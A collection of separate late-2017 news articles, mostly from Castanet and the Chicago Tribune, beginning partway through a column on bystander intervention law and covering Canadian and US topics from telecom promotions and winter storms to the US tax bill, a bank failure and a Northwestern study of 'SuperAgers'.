Such a law would have obligated all those on the Sky Train to use the electronic devices already in their hands, or the readily available yellow alert strip, to alert the police.

From responses Ive had to my column, and other public discussion, it seems that few would expect anything more of bystanders. Let alone physical intervention, anything that might draw the attention of the attacker and therefore put you at personal risk seems too much to expect.

There are, indeed, cases where intervening bystanders have been seriously hurt or killed.

I think there should be more discussion about that issue. My view is that a bit of personal risk is warranted to come to the support of the most vulnerable in our society who are being bullied, verbally abused or physically attacked.

But what if the bystander goes too far?

The rugby players intervention was to push the attacker away and stand between him and the victim.

What if he had decided to teach him a lesson, tackled him to the floor and beaten him to a pulp? What if the attacker was left brain injured with teeth knocked out, a broken nose and jaw?

Some of you might think: Serves him right!

This columnist, though, would be writing about the complicit bystanders who should have stepped in to save the attacker.

The law protects a bystander from civil as well as criminal prosecution arising from a physical intervention, but only if the intervention is necessary and reasonable.

Cachay v. Nemeth, a Saskatchewan case from the early 1970s, is a serves him right example that explains the law.

The two fellows involved in a very one-sided altercation were at a house-warming party with their wives. Each had been drinking, but not to the point of intoxication. Party-goers were dancing.

One fellow was playfully waltzing around the dance floor, at times causing annoyance by getting between dance partners, one of whom had told him to get lost.

The judge described: On the evidence, I am satisfied that in the course of his peregrinations about the dance floor, he threw a scarf or neckerchief around the neck of the defendants wife and pulled her head back to try to kiss her; also that the intended kiss was merely a brush on the cheek.

The judge found that the fellows actions  were without doubt in the spirit of celebration and without realizing he was irritating some people.

But the martial arts trained husband, without any warning, struck the fellow a violent blow to the side of his head.

As you might expect, the judge found that the husbands use of violence was out of proportion to the apparent urgency or requirement of the situation, noting his belief that a word of warning to desist would have prevented any further flirtation with the fellows wife.

The end result was a judgment against the husband. There is no indication of injuries and the modest award of damages suggests to me that the lawsuit was more about bruised ego than physical injury.

Please email me if you would like to read the reasons for judgment, which review this very interesting area of law.

The bottom line is that a bystanders physical intervention must be both necessary as well as reasonable.

The kind of vigilantism that can arise with a teach a lesson attitude can open the intervening bystander to civil and also criminal prosecution.

This article is written by or on behalf of an outsourced columnist and does not necessarily reflect the views of Castanet.
Photo: The Canadian Press

Canada's major wireless carriers are apologizing for long customer service wait times as consumers scramble to cash in on limited-time promotional offers.

While the holiday season is always competitive for the telecom companies, a low-rate plan offered by Shaw's Freedom Mobile and a recent update of Canada's code of conduct for wireless carriers are among the drivers spurring a flurry of special promotions this year.

"This doesn't happen every year," independent technology analyst Carmi Levi said from his base in London, Ont. of the new Wireless Code that came into effect on Dec. 1.

One of the major changes prevents carriers from charging to unlock phones so they can work on another network, making it much easier to switch to a rival.

"We're seeing evidence here that Canada's wireless market can be very competitive," Levi said.

"So I would expect this to continue as consumers continue to look for ever opportunity available to them to save money and get more in the process."

Starting late last week and into the weekend, Rogers, Bell and Telus, as well as their respective secondary brands, Fido, Virgin and Kodoo, started advertising 10 gigabytes of data for $60 per month, with certain conditions.

Freedom's promotions in the Toronto area had begun to gain traction  prompting Rogers, Telus and Bell to respond, Aravinda Galappatthige, a telecom analyst with Canaccord Genuity, said in a research note Monday.

"We saw a little bit of this in late 2016 when Fido (Rogers) and Public Mobile (Telus) temporarily matched Freedom with $40/4GB offerings," Galappatthige wrote.

The promotional offers were set to expire within a few days, putting pressure on consumers to respond quickly or face missing the bargain.

Numerous Facebook, Twitter and chat room commenters reported two- to three-hour wait times for call centres and online chats  sparking social media complaints and calls to extend the deadline.

Rogers issued a media statement that said, in most cases, the weekend promotional offer would expire for new customers on Monday but would be honoured for existing customers until Tuesday. The exception, it said, would be a Fido bring-your-own-phone offer that would go until end of day Tuesday in Ontario.

A statement from Telus on Monday afternoon said the company expected the promotion would be popular "but demand far exceeded our expectations", on one of the busiest weekends of the year.

"We are very sorry for the longer wait times that customers experienced over the weekend and are grateful for their patience. We are continuing to make real-time adjustments to minimize wait times before these great offers expire at the end of the day tomorrow," the email statement said.
Photo: The Canadian Press

Former NDP leader Tom Mulcair is expected to resign as a Montreal MP in the new year.

A spokesperson for the New Democrats confirms Mulcair plans to depart after the spring parliamentary session, adding that the date of his resignation will be announced in the "near future."

He is expected to take on a teaching role at a university but the name of the institution has not been announced.

Mulcair, a former Quebec Liberal cabinet minister, scored a stunning 2007 byelection upset for the federal NDP in the Montreal riding of Outremont, until then a Liberal stronghold.

He became leader of the NDP in 2012 in a contest sparked by the death of Jack Layton, who'd led the party to official Opposition status for the first time in its history.

But six months following disappointing election results in 2015, when the party dropped back into a distant third place, Mulcair became the first federal leader ever rejected by his own party members in a leadership review vote.

Jagmeet Singh took over the helm of the party this fall.

Mulcair's departure is expected to spark a fierce byelection contest in Outremont, with the governing Liberals eager to reclaim their one-time bastion.
Photo: Contributed

The head of the Ambulance Paramedics of BC, CUPE Local 873, says there's a simple solution to the number of medical first-response calls firefighters are called to attend.

More paramedics and ambulances.

Union president Cameron Eby spoke with Castanet News in response to a story last week concerning the increasingly high volume of first-response calls.

Kelowna has six ambulances at its disposal. There are two staffed by advanced-care paramedics. One is staffed around the clock, the other during the day.

Two primary-care ambulances also work 24-hours-a-day, with a third on call. A year ago, a sixth temporary daytime ambulance was added.

"Based on what we know in speaking to paramedics in the area, we believe there is at least one more 24-hour ambulance that is needed and one more ambulance during the day over peak periods," said Eby.

"We would take more resources than that, but we believe that is the bare minimum without having access to the hard data."

Eby says the addition of more ambulances and paramedics would lessen strain on the fire department, which is overwhelmed by the number of medical calls it is asked to attend.

Overall, calls to the fire department have been growing 10 per cent a year over the past three years. Most are medical calls.

"First responders, which is the service the firefighters provide ... statistics show they are medically effective in less than two per cent of medical calls, and yet they are going on a much larger number than that," he said.

"Those two per cent of calls where they are absolutely needed are calls where CPR and automatic defibrillators are needed in an urgent fashion, when somebody is choking, or in a technical rescue or motor vehicle accident where extrication and their specialized skills are needed."

He says there is no justification to send them to the other 98 per cent of calls, other than it being a stop-gap measure to replace the "inadequate resources of the paramedics."

The previous Liberal government in BC announced earlier this year an additional $90 million in new funding for the BC Emergency Health Service.

Some of that money, says Eby, has gone to Vancouver and Nanaimo. None has yet been earmarked for Kelowna or Kamloops, which he says are two of the most underserved communities in the province.
Photo: VSA Maintenance

A winter storm warning has been issued for the entire Okanagan, with Environment Canada warning of potentially hazardous winter conditions.

The snowfall is expected to intensify later this morning with accumulations of 20 to 25 centimetres expected in Kelowna, while West Kelowna and Peachland could see 35 cm on the ground by Wednesday morning.

Non-essential travel is not recommended in the valley.

Meanwhile, winter storm warnings and driver's advisories continue for most highways in Southern B.C. today, including the Coquihalla and the Okanagan Connector.

Environment Canada has issued a winter storm warning for those two routes with heavy snow  perhaps as much as 30 cm  expected to fall today.

A travel advisory is also in effect for Highway 3 from Osoyoos to Castlegar.

Snow, though not as much, is also expected to fall for most of the day on the Trans-Canada Highway from the Shuswap east to the Alberta border.

A winter storm warning is also in effect for the Boundary and Kootenay regions, where 20 to 30 cm of snow have already fallen.

Environment Canada is advising against non-essential travel in those areas.

Up to 45 cm of snow is expected on the Kootenay Pass and in the City of Trail.

 Gord Vizzutti
Photo: Contributed

An elderly New Brunswick couple bid a tearful goodbye this week, separated just days before Christmas after 73 years together.

Herbert and Audrey Goodine gave each other a peck on the lips and said goodbye Monday, moments before Herbert was driven to a new care residence about 45 minutes away.

The couple have been married for 69 years, spending the last three years together at the Victoria Villa Special Care Home in Perth-Andover, N.B.

But after a recent assessment of Herbert's health, officials decided the home could no longer accommodate him because the 91-year-old's dementia had progressed to a point where he needs a higher level of care.

Dianne Phillips, the couple's daughter, said she was told last Friday her father would have to move.

By Monday, a van carried him away to another home in Plaster Rock as Audrey stood by the window and watched him go.

"I feel people need to know what a flawed system we have in place. Two words describe it 'unethical and cruel,'" she said in a Facebook post.

"This should never take place to another human again."

Phillips is upset the couple was separated a week before Christmas, saying it's mentally and emotionally difficult for her parents who had, up until now, shared a room and the same bed at the villa.

Phillips said in the post that she understands her father requires a higher level of care, but felt the facility could have arranged for the couple to be separated after the holiday.

"I listened to my mother weep and I could hear my father in the background," she said. "My mother said, 'Christmas is over for us now and this is the worst Christmas that we will ever have. Why could they not have waited till after the holidays.'"
Photo: The Canadian Press

The Chinese government on Tuesday criticized U.S. President Donald Trump's decision to label Beijing a strategic rival and called on Washington to "abandon a Cold War mentality" and accept China's rise.

Trump's decision reflects a "victory of hardliners" in his administration, the official Xinhua News Agency said. It warned U.S.-Chinese economic relations were likely to face "even more pressure and challenges."

"We urge the United States to stop deliberately distorting China's strategic intentions and abandon a Cold War mentality," said a foreign ministry spokeswoman, Hua Chunying. "Otherwise it will injure others and damage itself."

Trump's report Monday hit a series of sore spots for Beijing. It affirmed ties with Taiwan, the self-ruled island the mainland government claims as its territory, and pledged to "re-energize our alliances" with Southeast Asian governments, some of which have conflicts with China over claims to portions of the South China Sea.

The United States and China share one of the world's biggest trading relationships and co-operate in areas from clean energy to public health. But Beijing sees Washington as an obstacle to its ambitions to be East Asia's dominant power, and strains over Taiwan, trade, technology policy and the South China Sea are growing.

"It is selfish to put your national interest above other countries' interest and the mutual interest of the international community," said the Chinese Embassy in Washington in a statement.

"The Chinese side is willing to have peaceful coexistence with all countries," said the embassy statement. "The United States should also adapt and accept China's development."

U.S. officials are uneasy about Beijing's rising military spending  already the second-highest behind Washington. They see President Xi Jinping's "Belt and Road Initiative," a project to build railways and other infrastructure across countries from Asia to Europe and Africa, as part of efforts to erode American influence and nurture a China-centred political structure.

Especially sensitive is Taiwan, the democratic island Beijing has declared a "core interest" over which it will go to war, if necessary.

Trump's report promises to "maintain our strong ties with Taiwan" and provide for its "legitimate defence needs."

China has taken a tougher stance toward Taiwan since last year's election of President Tsai Ing-wen, who has refused to endorse Beijing's contention that Taiwan is part of the Chinese nation. Chinese commentators speculate on the possible need for military steps to put pressure on Tsai.

After Trump signed a law this month that opened the way for U.S. Navy ships to visit Taiwan, a Chinese diplomat quoted by state media said the mainland would attack the day that happened.

Trump's report doesn't change Washington's official stance but might aggravate tensions if Taiwanese who want formal independence see it as sign of U.S. support and "want to take advantage of it," said Xiong Zhiyong, a U.S. relations expert at China Foreign Affairs University.

On Monday, Chinese warplanes flew around Taiwan in what the military said was a test of their "ocean combat ability." Taiwan's defence ministry said Japan launched fighter planes to track the Chinese aircraft, but the Japanese government would not confirm that.

Trump's report promises to "re-energize our alliances" with governments including the Philippines and Vietnam, which have conflicting territorial claims with Beijing in the South China Sea. It also pledges to expand military co-operation with India, a country Beijing sees as a rival.

The report emphasized economic security and repeated complaints that China steals technology and uses "economic inducements" to persuade other governments to serve its strategic interests.

It proposes restricting visas to prevent intellectual property theft by foreigners, particularly Chinese, who travel to the United States to study science, engineering, math and technology.

Foreign business groups in China report that companies are increasingly frustrated with market barriers and other restrictions they say violate Beijing's free-trade promises.

The report is another abrupt turn in Trump's stance toward Beijing, which has veered between blistering criticism on trade and currency and optimism about co-operation on North Korea and other problems.
Photo: The Canadian Press

Aecon shareholders have voted overwhelmingly to approve a $1.5-billion takeover of the Canadian company by a Chinese firm.

CCCC International Holding Ltd., a subsidiary of China Communications Construction Company Ltd., announced a friendly deal in October to buy the company for $20.37 per share in cash.

Aecon (TSX:ARE) had said in August that it was looking for potential buyers.

The company's board unanimously recommended shareholders support the deal. More than 99 per cent of the votes cast were in favour of offer, which required the approval of a two-thirds majority.

The deal also requires government and regulatory approvals including a review under the Investment Canada Act.

The 140-year-old construction firm has worked on Canadian landmarks including the CN Tower, Vancouver's SkyTrain and the Halifax Shipyard.
Photo: Contributed

Another cyclist has been struck by a vehicle, this one in Kamloops.

The latest incident in the Kamloops area at approximately 6:30 p.m. Monday night. A cyclist was hit while crossing the East TransCanada Highway at Vicars Road.



According to witnesses and the driver of the semi-tractor trailer that hit the cyclist, the tractor-trailer was travelling eastbound through a green light at Vicars Road. The cyclist crossed on a red light across the westbound lanes and into the eastbound lane where he was struck. The cyclist was not wearing a helmet.



The 42-year-old male cyclist was transported to Royal Inland Hospital with serious injuries.

RCMP advise people to use extra caution during winter driving conditions and that includes cyclists.
Photo: Trevor Nichols

Jail guards at the Kelowna RCMP detachment will be in legal strike position as of Friday morning.

The guards, members of CUPE Local 338, re-issued 72-hour strike notice to Commissionaires BC this morning.

They voted 100 per cent in favour of strike action Oct. 4, and originally served 72-hour strike notice Dec. 14.

However, the BC Labour Relations Board ruled the notice illegal because it was sent by email, not fax.

"Kelowna jail guards work to keep their community safe every day, and they deserve to make a living wage," says CUPE national representative and lead negotiator Harry Nott.

"We have urged Commissionaires BC to reconsider their position and meet with us prior to the beginning of this strike. We still believe this strike could be avoided."

Nott says that should Commissionaires BC revise their offer or agree to a bargaining session, the union would consider putting strike action on hold.

The guards rejected the last contract offer, which Commissionaires BC spokesperson Julie Powers said included "significant" wages increases.

The union represents 17 jail guards at the Kelowna detachment.
Photo: file photo

Sloppy winter weather has forced the cancellation of multiple flights in and out of the Penticton airport.

The WestJet 2:41 p.m. arrival from Calgary and ensuing flight back at 3:15 p.m. have been cancelled.

Air Canada also cancelled the 8:50 a.m. arrival from Vancouver and its 10:05 a.m. flight back to YVR.

Travellers are being urged to check their flight status before departing. The Kelowna airport has also been hit with delays and cancellations.
Alanna Kelly

Smiling children walked through the Central Okanagan Food Bank on Tuesday as families were handed all the trimmings for a Christmas dinner.

During the next three days, more than 1,700 Christmas hampers will be given out to families in need.

No one should ever go hungry, especially over the holidays, said executive director Lenetta Parry.

Santa Claus also handed out toys and candy canes.

A turkey, stuffing, cranberry sauce, pancake mix and more was placed in every hamper.

Its so people can spend time with family and make memories, said Parry.

Volunteers were busy assisting all the families.

It is about us as a community coming together. Weve got tons of volunteers in this building  you can feel the energy.

Emergency hampers will be handed out on Friday, from 9 a.m. to 1 p.m. at 1265 Ellis St.

All donations given at Christmas help the food bank through the new year.
Photo: Contributed

The Salvation Army's annual Christmas kettle campaign is coming up short in the Central Okanagan.

Executive director Pastor Darryl Burry says the campaign is facing a $267,000 shortfall.

This year's goal is $800,000  and returns so far are at 67 per cent of that target  with only six days to go until Christmas. And demand is up eight per cent over last year.

Over these past weeks, over 650 local families have walked through our doors looking for help and hope. Thanks to the generosity of our community, we have been able to meet those needs. But there are still others coming to see us every day, and the needs will still be there after Christmas, says Burry.

The funds that we raise at Christmas support our programs and services throughout the entire year  from individual and family support programs, emergency food hampers, services for seniors and our disaster relief efforts.

Funds are being collected at kettle sites throughout Kelowna, at all Salvation Army facilities, and online at www.kelownasalvationarmy.ca.
Photo: Contributed

Ever wonder how much your neighbour's house might be worth on the open market? How about your own?

Now, according to Re/Max Western Canada, you can find out in "less than 10 seconds" thanks to a new website feature at remax.ca.

Re/Max understands todays consumers want as much access to information as possible. The remax.ca home value estimate tool gives accurate, up-to-date estimated values of properties within seconds, said Elton Ash, regional executive vice-president of Re/Max of Western Canada.

Visitors to the Re/Max website can find out the value of their home  or any home theyre interested in  by typing in any Kelowna or West Kelowna address (that isnt already listed by a real estate agent) in the top search bar, and then selecting the desired address from the drop-down menu.

To read more about why real-estate agents are excited by this new feature, check out the full story on Castanet's sister business news website, Okanagan Edge.
Mark Matney, CDA, RDA, CPFDA, FADAA, BS, an assistant professor and program director of Chattanooga State Community Colleges Dental Assisting Program, has been named a 2017 Fellow by the American Dental Assistant Association. The ADAA is the professional organization for dental assistants. It celebrates its 92nd year in 2017.



An Ooltewah native, Mr. Matney graduated from the University of Phoenix and has been employed in the dental field for 10 years, including eight of those years as a faculty member at Chattanooga State. Having served as a past president and vice president of Tennessee Dental Assisting Association, he is now the TNDAA treasurer.



Mr. Matney regularly volunteers at Remote Area Medical, Georgia Mission of Mercy and a local service, Project Homeless Connect; he also strongly encourages his students to volunteer as well. We involve our students in these events and they end the service days feeling good about the care they were able to provide. They cant wait for the next opportunity, he said.

Fully supporting Mr. Matneys recognition, Vice President for Academic Affairs Dana Nichols said, Mark is a respected leader in his field as well as an excellent teacher who focuses on service learning opportunities.



According to Nursing and Allied Health Dean Mark Knutsen, Mr. Matneys hard work and commitment has been recognized at Chattanooga State for years. It is nice to see others appreciating his efforts in leading his profession, said Dean Knutsen.



"The mission of ADAA is to advance the careers of dental assistants and promote the dental assisting profession in matters of education, legislation, credentialing and professional activities which enhance the delivery of quality dental health care to the public.



"Dental assistants perform highly technical skilled work under the supervision of dentists in a wide variety of tasks in the dental office, ranging from patient care to administrative duties to laboratory functions," officials said.



For more information about the Dental Assisting Program, a 48-hour, three-semester certificate program, visit https://www.chattanoogastate.edu/dental-assisting-certificate, or call 423-697-4450.


The airplane in which Flagship researchers performed experiment in microgravity. Operated by Novespace, the plane makes special manoeuvres to create zero gravit conditions inside the plane

In a successful collaboration between the Graphene Flagship and the European Space Agency, experiments testing graphene for two different space-related applications have shown extremely promising results. Based on these results, the Flagship are continuing to develop graphene devices for use in space.

"Graphene as we know has a lot of opportunities. One of them, recognised early on, is space applications, and this is the first time that graphene has been tested in space-like applications, worldwide," said Prof. Andrea Ferrari (University of Cambridge, UK), Science and Technology Officer of the Graphene Flagship.

Graphene's excellent thermal properties are promising for improving the performance of loop heat pipes, thermal management systems used in aerospace and satellite applications. Graphene could also have a use in space propulsion, due to its lightness and strong interaction with light. The Graphene Flagship tested both these applications in recent experiments in November and December 2017.

The main element of the loop heat pipe is the metallic wick, where heat is transferred from a hot object into a fluid, which cools the system. Two different types of graphene were tested in a collaboration between the Microgravity Research Centre, Universite libre de Bruxelles, Belgium; the Cambridge Graphene Centre, University of Cambridge, UK; the Institute for Organic Synthesis and Photoreactivity and the Institute for Microelectronics and Microsystems, both at the National Research Council of Italy (CNR), Italy; and industry partner Leonardo Spa, Italy, a global leader in aerospace, operating in space systems and high-tech instrument manufacturing and in the management of launch and in-orbit services and satellite services.

"We are aiming at an increased lifetime and an improved autonomy of the satellites and space probes. By adding graphene, we will have a more reliable loop heat pipe, capable to operate autonomously in space," said Dr Marco Molina, Chief Technical Officer of Leonardo's space line of business.

After excellent results in laboratory tests, the wicks for the loop heat pipes were tested in two ESA parabolic flight campaigns in November and December. "We have good tests done on earth in the lab, and now of course because the applications will be in satellites, we needed to see how the wicks perform in low gravity conditions and also in hypergravity conditions, to simulate a satellite launch," added Prof Ferrari.

"It was amazing, the feeling is incredible and its extremely interesting to do experiments in these kinds of conditions but also to enjoy the free-floating zone. The whole experience was really great," said Vanja Miskovic, a student at Universite libre de Bruxelles who performed the experiment in microgravity during a parabolic flight operated by Novespace.

The results of the parabolic flight confirm the improvements to the wick, and the Flagship will continue to develop the graphene-based heat pipes towards a commercial product. "I think this is a very nice example of how the Flagship is working. Bringing together three academic partners and one big industry with a clearly defined goal for an application," said Vincenzo Palermo (CNR), Vice-Director of the Graphene Flagship. "At the moment, we have tested the principle and the core of the device. The next step will be to optimise the whole device, and have a full heat pipe that can go in a satellite."

Testing graphene space-propulsion potential, a team of PhD students from Delft Technical University (TU Delft), Netherlands participated in ESA's Drop Your Thesis! campaign, which offers students the chance to perform an experiment in microgravity at the ZARM Drop Tower in Bremen, Germany. To create extreme microgravity conditions, down to one millionth of the Earth's gravitational force, a capsule containing the experiment is catapulted up and down the 146 metre tower, leading to 9.3 seconds of weightlessness. The TU Delft Space Institute, Netherlands, also provided support to the GrapheneX project.

The team - named GrapheneX - designed and built an experiment to test graphene for use in solar sails, using free-floating graphene membranes provided by Flagship partner Graphenea. The idea was to test how the graphene membranes would behave under radiation pressure from lasers. In total, the experiment ran five times over 13-17 November 2017.

"Our experiment is like a complex 'clockwork' where every component has to go off seamlessly at the right time" said Rocco Gaudenzi, a member of the GrapheneX team. "It does not often happen that you have to build up such a clockwork from scratch, and you cannot test it in real conditions but during the launch itself."

The team worked hard to make the experiment successful. "Despite the initial technical difficulties, we managed to quickly figure out what was going on, fix the issues and get back on track. We are very happy with the results of the experiment as we observed laser-induced motion of a graphene light sail, and most importantly we had a great experience!" said Davide Stefani, GrapheneX team member.

Santiago J. Cartamil-Bueno, GrapheneX team leader, expressed that both the experience and the results were valuable to the team. "The most important lesson is that always something will happen, and you need to be ready to adapt or to change," he said. "I think at the end of the day, it's about the experience; you just need to create new challenges and learn from them, and be ready to grab more experience and go to the next level."

Though the GrapheneX experiment is now finished, the team is considering further tests as part of a new and ambitious research project, to continue exploring the influence of radiation pressure on graphene light sails.

The results of the two projects demonstrate graphene's versatility and are the first step towards expanding the frontiers of graphene research.
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Copies of the Tax Cuts and Jobs Act Conference Report sit on the dais of the House Rules Committee at the U.S. Capitol Monday. The House of Representatives is expected to vote on the bill Tuesday. (Chip Somodevilla / Getty Images)

Much of the news surrounding Congress new tax bill has focused on politics  but what does it mean for you as an Illinois taxpayer?

In condensed form, here are some of the changes and how theyll affect the consumers wallet. Congress is expected to vote on the measure in coming days.

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New tax brackets

The bill would make changes to tax brackets and lower rates. For example, the top rate would drop to 37 percent, from 39.6 percent.

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Most taxpayers would likely see a little more money in their February paychecks as a result of those changing brackets, though the bill would also eliminate personal exemptions, said Jeremy Scott, vice president of editorial at Tax Analysts, a nonprofit, nonpartisan publisher on tax policy and practice.

Standard deduction

The standard deduction would rise for individuals, from $6,350 to $13,000, and for couples, from $12,700 to $24,000.

That means many people may no longer want to itemize deductions if those itemized deductions arent as high as the new standard deductions, Scott said.

Child tax credit

Families making up to $400,000 would receive a $2,000 tax credit per child, up from $1,000. Families would receive the credit regardless of whether they itemize or take the standard deduction.

[  Commuters lose transit, parking, biking benefits in tax bill ]

That credit would apply to any federal income taxes a family owes, or, if a family doesnt owe any federal income taxes, it could receive refunds of up to $1,400 per child from the government, said Geoff Harlow, a tax partner at Kessler Orlean Silver and Co. in Deerfield.

Property tax deductions

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The new bill would limit to $10,000 the amount of state and local taxes, including property taxes, that can be deducted annually. In 2016, the average annual property tax in Cook County was $5,660, and in Lake County it was $8,828, according to property data provider Attom Data Solutions.

In light of the change, many Cook County accountants encourage taxpayers who pay more than $10,000 a year in such taxes to temporarily avoid the cap by prepaying property taxes this year that wouldnt be due until March.

Cook County Treasurer Maria Pappas recently made the prepayment process easier. Taxpayers can now download their property tax bills from the treasurers website, mail in checks, pay at any Chase bank or pay by credit card or direct debit. So far, about 6,000 Cook County homeowners have prepaid their property taxes for next year, compared with about 1,000 who usually do so, Pappas said.

[  How individual taxpayers can exploit the new tax bill right now ]

Thats a huge increase, and were going to have a whole lot more, we anticipate, through Dec. 31, Pappas said.

Mortgage interest

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People who bought their homes before Dec. 15 would still be able to deduct interest on mortgage debt of up to $1 million. Those who bought homes later, however, would see that amount lowered to $750,000.

Medical expenses

Currently, people can deduct medical expenses if those expenses exceed 10 percent of their adjusted gross income. The proposal lowers that threshold to 7.5 percent.

Alimony

For couples who divorce or separate after Dec. 31, 2018, anyone who pays alimony no longer will be able to deduct the payments.

Moving expenses

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The costs of moving for a job (except in the military) would no longer be tax-deductible.

529 plans

People would be able to use money saved in 529 savings plans not just for college but also to pay for attendance at public, private or religious elementary and secondary schools.

Health insurance

The bill would erase the requirement that everyone buy health insurance or pay a penalty.

This story has been updated to clarify that taxpayers will be able to deduct interest on mortgage loans of up to $750,000.

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lschencker@chicagotribune.com

Twitter @lschencker
Washington Federal Bank for Savings, a 104-year-old Bridgeport-based savings association closed by federal regulators Friday, reopened its two branches Saturday with a new owner: Royal Savings Bank of Chicago. (Terrence Antonio James/Chicago Tribune)

A 104-year-old Bridgeport-based savings association closed by federal regulators Friday reopened its two branches Saturday with a new owner  and $11.6 million in uninsured customer deposits at risk.

Washington Federal Bank for Savings, which had been cited for unsafe or unsound practices by regulators, had total deposits of $144 million at the time of its closing. Royal Savings Bank of Chicago bought only the $132.4 million in insured deposits.

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Royal Savings Bank sought to buy all of the deposits in an auction, but the Federal Deposit Insurance Corp. rejected the bid for the uninsured portion as too low, said Leonard Szwajkowski, president and CEO of Royal Savings Bank.

The FDIC began recruiting new owners for Washington Federal on Dec. 1, Szwajkowski said. Royal was one of seven bidders.

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Its winning bid was the least costly for the FDIC, which expects to take a $60.5 million loss on the sale of its assets, FDIC spokesman David Barr said.

Washington Federal was a family-run bank throughout its history.

John Gembara, 56, CEO and president of Washington Federal, whose grandfather launched the Bridegport institution in 1913, died Dec. 3. The cause of death was suicide, according to the Cook County medical examiners office.

His family did not respond Monday to a request for comment.

The FDIC insures deposits up to $250,000 per customer. It is the first time since 2009 that an acquiring bank did not take on all of the deposits of a failed bank, including the uninsured deposits, according to the FDIC.

That leaves customers with more than $250,000 in savings at Washington Federal forced to file as creditors when the FDIC attempts to sell the banks assets. Customers with accounts in excess of $250,000 should contact the FDIC at 877-367-2718 to discuss their deposits and file a claim.

Its something that customers need to be aware of that anytime a bank fails, only the insured deposits could be protected, Barr said. Its a lesson for anybody thats looking to put more than $250,000 in a bank, to make sure that they structure it properly to take full advantage of deposit insurance limits.

Barr said the depositors will be the first creditors to be made whole by any asset sales. But there is no guarantee they will recoup any or all of their savings.

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That is an unfortunate situation that I have no control over, Szwajkowski said.

Washington Federal was closed by the Office of the Comptroller of the Currency, which regulates national banks and federal savings associations, and then taken over by the FDIC.

It is the eighth bank to fail in 2017, according to the FDIC. There have been 544 bank failures since 2007, peaking at 157 during the financial meltdown in 2010.

Washington Federal had $166.3 million in assets, mostly loans, according to the FDIC, at the time of its closing. As part of the deal, Royal bought $23.7 million of the assets  cash at the Federal Reserve Bank of Chicago  but none of the loans were offered, Szwajkowski said.

Royal also took over Washingtons two locations  in Bridgeport and Little Italy  which are both operating under the new owners name.

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Founded in 1887, Royal is a state-chartered savings bank with nine locations, including the two Washington Federal branches. Its main office is under the Chicago Skyway bridge on the citys South Side, Szwajkowski said.

The Washington Federal acquisition increases Royal Savings Banks asset size to $450 million.

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rchannick@chicagotribune.com

Twitter @RobertChannick
Tom Powers, shown at The Lunatic, the Lover and the Poet in July, spent two years building out the space. (E. Jason Wambsgans / Chicago Tribune)

After nine months in the West Loop, Lunatic, The Lover & The Poet unexpectedly closed on Saturday. The massive wine-focused restaurant, with its Shakespeare quoting name, was spearheaded by Tom Powers, who spent two years building out the space. Eater Chicago first reported the closing.

The Lunatic was nothing if not ambitious. The restaurant was spread over 7,000 square feet and three floors. That included two private dining rooms, one of which was inside the restaurant's wine cellar.

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Powers was no stranger to the restaurant game. He worked as general manager and sommelier at Marche, a pioneering restaurant opened in the West Loop years before the neighborhood became the undisputed dining hub of Chicago. In 2006, he left to serve as a brand ambassador for Veuve Clicquot, eventually becoming the national sales director for the Italian Wine Merchants.

Needless to say, The Lunatic focused much of its attention on wine, with the food menu designed to complement the beverage program. In his two-star review, Phil Vettel enjoyed the affordable menu crafted by chef Jessica Nowicki. But she left in September, with Michael Woodhall taking her position.

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nkindelsperger@chicagotribune.com

Twitter: @nickdk

[ Lunatic, Lover, Poet more affordable than many on Randolph Row ]

[ Inside The Lunatic, The Lover & The Poet ]

[ Restaurant speed-dating: Mini-reviews of 6 restaurants you need to know ]
Ask Edith Smith, a proud 103-year-old, about her friends, and she'll give you an earful.



There's Johnetta, 101, whom she's known for 70 years and who has Alzheimer's disease. "I call her every day and just say 'Hi, how are you doing?' She never knows, but she says hi back, and I tease her," Smith said.



There's Katie, 93, whom Smith met during a long teaching career with the Chicago Public Schools. "Every day we have a good conversation. She's still driving and lives in her own house, and she tells me what's going on."



Then there's Rhea, 90, whom Smith visits regularly at a retirement facility. And Mary, 95, who doesn't leave her house anymore, "so I fix her a basket about once a month of jelly and little things I make and send it over by cab." And fellow residents at Smith's Chicago senior community, whom she recognizes with a card and a treat on their birthdays.



"I'm a very friendly person," Smith said, when asked to describe herself.



That may be one reason why this lively centenarian has an extraordinary memory for someone her age, suggests a recent study by researchers at Northwestern University highlighting a notable link between brain health and positive relationships.



For nine years, these experts have been examining "SuperAgers" men and women over age 80 whose memories are as good or better than people 20 to 30 years younger. Every couple of years, the group fills out surveys about their lives and gets a battery of neuropsychological tests, brain scans and a neurological examination, among other evaluations.



"When we started this project, we weren't really sure we could find these individuals," said Emily Rogalski, an associate professor at the Cognitive Neurology and Alzheimer's Disease Center at Northwestern's Feinberg School of Medicine.



But find them they did: Thirty-one older men and women with exceptional memories, mostly from Illinois and surrounding states, are currently participating in the project. "Part of the goal is to characterize them who are they, what are they like," Rogalski said.



Previous research by the Northwestern group provided tantalizing clues, showing that SuperAgers have distinctive brain features: thicker cortexes, a resistance to age-related atrophy and a larger left anterior cingulate (a part of the brain important to attention and working memory).



But brain structure alone doesn't fully account for SuperAgers' unusual mental acuity, Rogalski suggested. "It's likely there are a number of critical factors that are implicated," she said.



For their new study, the researchers asked 31 SuperAgers and 19 cognitively "normal" older adults to fill out a 42-item questionnaire about their psychological well-being. The SuperAgers stood out in one area: the degree to which they reported having satisfying, warm, trusting relationships. (In other areas, such as having a purpose in life or retaining autonomy, they were much like their "normal" peers.)



"Social relationships are really important" to this group and might play a significant role in preserving their cognition, Rogalski said.



That finding is consistent with other research linking positive relationships to a reduced risk of cognitive decline, mild cognitive impairment and dementia. Still, researchers haven't examined how SuperAgers sustain these relationships and whether their experiences might include lessons for others.



Smith, one of the SuperAgers, has plenty of thoughts about that. At her retirement community, she's one of nine people who welcome new residents and try to help make them feel at home. "I have a smile for everybody," she said. "I try to learn someone's name as soon as they come in, and if I see them it's 'Good morning, how do you do?'"



"Many old people, all they do is tell you the same story over and over," she said. "And sometimes, all they do is complain and not show any interest in what you have to say. That's terrible. You have to listen to what people have to say."



Brian Fenwick, administrator of the Bethany Retirement Community where Smith lives, calls Smith a "leader in the community" and explains that "she's very involved. She keeps us in line. She notices what's going on and isn't afraid to speak out."



Fifteen years ago, Smith became a caregiver for her husband, who passed away in 2013. "All the time he was ill, I was still doing things for me," she recalls. "You cannot drop everything and expect to be able to pick it up. You can't drop your friends and expect them to be there when you're ready."



What she does every day, she said, is "show people I care."



